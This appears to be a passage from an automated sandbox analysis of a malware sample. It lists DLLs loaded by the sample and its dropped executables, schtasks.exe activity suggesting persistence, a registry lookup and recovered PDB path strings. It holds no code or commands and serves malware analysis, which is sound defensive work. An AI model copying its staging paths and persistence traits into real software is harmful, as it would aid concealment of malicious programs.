Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: SUwX12D2S6.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\Q source: SUwX12D2S6.exe, 00000004.00000003.2226957493.00000000038C6000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2225920544.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223567308.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2227590465.00000000038DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\te\ source: SUwX12D2S6.exe, 00000004.00000003.2174722676.000000000356A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error.bgzqat source: SUwX12D2S6.exe, 00000004.00000003.2110957880.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: SUwX12D2S6.exe, 00000004.00000003.2169822173.0000000003161000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2159585768.0000000003163000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2157654247.000000000315A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2176334680.000000000316C000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2157384871.0000000003146000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\C source: SUwX12D2S6.exe, 00000004.00000003.2210484839.0000000003417000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2202211710.00000000033FF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: SUwX12D2S6.exe, 00000004.00000003.2233587760.000000000394F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2226957493.0000000003962000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2233015637.000000000390F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2231618846.00000000038EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\we\g source: SUwX12D2S6.exe, 00000004.00000003.2237119019.0000000003514000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2239471258.00000000034EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\_m source: SUwX12D2S6.exe, 00000004.00000003.2170576871.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2184538505.00000000033F1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2236436289.0000000003893000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\A source: SUwX12D2S6.exe, 00000004.00000003.2226957493.00000000038C6000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2225920544.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223567308.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2227590465.00000000038DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: SUwX12D2S6.exe, 00000004.00000003.2233587760.000000000394F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2226957493.0000000003962000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2233015637.000000000390F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2231618846.00000000038EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: SUwX12D2S6.exe, 00000004.00000003.2226957493.00000000038C6000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2225920544.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223567308.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217897189.00000000038AB000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2216202881.00000000038A9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2218553034.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2227590465.00000000038DF000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217675191.00000000038A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: SUwX12D2S6.exe, 00000004.00000003.2217897189.00000000038AB000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2216202881.00000000038A9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2208481995.00000000038A9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217675191.00000000038A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2236436289.00000000038EE000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2231618846.00000000038EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\celefeboxu.pdb source: SUwX12D2S6.exe
Source:	Binary string: C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000007.00000002.1785156949.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000007.00000000.1781524100.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.1783808645.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\W source: SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136368733.0000000003534000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\l\\ source: SUwX12D2S6.exe, 00000004.00000003.2217897189.00000000038AB000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2216202881.00000000038A9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217675191.00000000038A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\State\ source: SUwX12D2S6.exe, 00000004.00000003.2158068491.000000000353F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2156495174.000000000353F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2174722676.000000000356A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2159634085.0000000003564000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 0000000A.00000000.1805138719.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000A.00000002.1913333134.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 00000010.00000000.1911812806.0000000000401000.00000020.00000001.01000000.00000009.sdmp, mstsca.exe, 00000013.00000000.1918990852.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000013.00000002.2018872471.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000014.00000000.2017466458.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000002.2348608889.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000000.2275814306.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001A.00000000.2347560708.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000002.2973317219.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000000.2865813530.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001D.00000000.2972376587.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000002.3583754315.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000000.3466010192.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001F.00000000.3582957712.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000020.00000002.4129370107.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000020.00000000.4066108806.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\*z source: SUwX12D2S6.exe, 00000004.00000003.2158386481.0000000003410000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135411368.000000000340B000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2156718696.00000000033E7000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2157238464.000000000340B000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Temp\( source: SUwX12D2S6.exe, 00000004.00000003.2223567308.000000000376A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2226563641.0000000003853000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2215986355.000000000381E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217021524.000000000381E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223984909.000000000382F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\q source: SUwX12D2S6.exe, 00000004.00000003.1882036014.0000000003148000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.1843805332.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\cM source: SUwX12D2S6.exe, 00000004.00000003.2202710386.000000000382E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2209514089.0000000003811000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2211005248.0000000003817000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb\SystemAppData\Q source: SUwX12D2S6.exe, 00000004.00000003.2109828995.0000000003479000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110380294.000000000348D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: SUwX12D2S6.exe, 00000004.00000003.2202710386.000000000382E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2209514089.0000000003811000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2211005248.0000000003817000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ion source: SUwX12D2S6.exe, 00000004.00000003.2201021660.000000000356D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2203390038.000000000357A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2202256063.000000000356D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2210964209.000000000357E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2209889977.0000000003576000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2208481995.000000000375B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: SUwX12D2S6.exe, 00000004.00000003.2225038196.0000000003192000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2216776414.000000000318D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2216475290.0000000003183000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Appli source: SUwX12D2S6.exe, 00000004.00000003.2110134134.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2111097747.0000000003405000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\3c source: SUwX12D2S6.exe, 00000004.00000003.2158068491.000000000353F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2156495174.000000000353F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2158347421.0000000003576000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2174316337.000000000359D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2169782007.0000000003596000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2159372299.0000000003596000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\Z source: SUwX12D2S6.exe, 00000004.00000003.2210867698.0000000003743000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2218755081.000000000374A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217347390.000000000374A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\8bbwe\App source: SUwX12D2S6.exe, 00000004.00000003.2237119019.0000000003514000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2239471258.00000000034EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.1881875981.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.1881957469.00000000033DC000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110134134.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2111097747.0000000003405000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2202322208.0000000003189000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2211528266.000000000318D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2211213412.000000000318A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2201372327.0000000003184000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2203425081.0000000003191000.00000004.00000020.00020000.00000000.sdmp
